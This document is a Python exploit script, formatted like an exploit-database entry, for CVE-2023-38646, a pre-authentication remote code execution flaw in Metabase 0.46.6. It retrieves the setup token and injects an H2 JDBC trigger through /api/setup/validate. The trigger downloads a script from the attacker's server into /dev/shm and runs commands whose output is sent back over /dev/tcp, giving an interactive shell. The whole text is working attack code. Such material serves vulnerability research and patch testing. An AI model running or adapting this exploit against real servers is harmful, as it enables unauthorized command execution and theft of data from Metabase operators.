# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
# Google Dork: N/A
# Date: 13-10-2023
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://www.metabase.com/
# Version: metabase 0.46.6
# Tested on: Ubuntu 22.04, metabase 0.46.6
# CVE : CVE-2023-38646
#!/usr/bin/env python3
import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decode
class Termial(Cmd):
prompt = "metabase_shell > "
def default(self,args):
shell(args)
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
global success
if self.path == "/exploitable":
self.send_response(200)
self.end_headers()
self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
success = True
else:
print(self.path)
#sys.exit(1)
def log_message(self, format: str, *args: Any) -> None:
return None
class Server(HTTPServer):
pass
def run():
global httpserver
httpserver = Server(("0.0.0.0", argument.sport), Handler)
httpserver.serve_forever()
def exploit():
global success, setup_token
print(colored("[*] Retriving setup token", "green"))
setuptoken_request = requests.get(f"{argument.url}/api/session/properties")
setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)
print(colored(f"[+] Setup token: {setup_token}", "green"))
print(colored("[*] Tesing if metabase is vulnerable", "green"))
payload = {
"token": setup_token,
"details":
{
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules":
{},
"details":
{
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": False,
"ssl": True
},
"name": "an-sec-research-musyoka",
"engine": "h2"
}
}
timer = 0
print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))
thread = threading.Thread(target=run, )
thread.start()
while timer != 120:
test = requests.post(f"{argument.url}/api/setup/validate", json=payload)
if success == True :
print(colored("[+] Metabase version seems exploitable", "green"))
break
elif timer == 120:
print(colored("[-] Service does not seem exploitable exiting ......", "red"))
sys.exit(1)
print(colored("[+] Exploiting the server", "red"))
terminal = Termial()
terminal.cmdloop()
def shell(command):
global setup_token, payload2
payload2 = {
"token": setup_token,
"details":
{
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules":
{},
"details":
{
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",
"advanced-options": False,
"ssl": True
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)
bind_thread = threading.Thread(target=bind_function, )
bind_thread.start()
#updating the payload
payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"
requests.post(f"{argument.url}/api/setup/validate", json=payload2)
#print(output.text)
def bind_function():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0", argument.lport))
sock.listen()
conn, addr = sock.accept()
data = conn.recv(10240).decode("ascii")
print(f"\n{(b64decode(data)).decode()}")
except Exception as ex:
print(colored(f"[-] Error: {ex}", "red"))
pass
if __name__ == "__main__":
print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))
args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")
args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)
args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)
args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)
args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)
argument = args.parse_args()
if argument.url.endswith("/"):
argument.url = argument.url[:-1]
success = False
exploit()
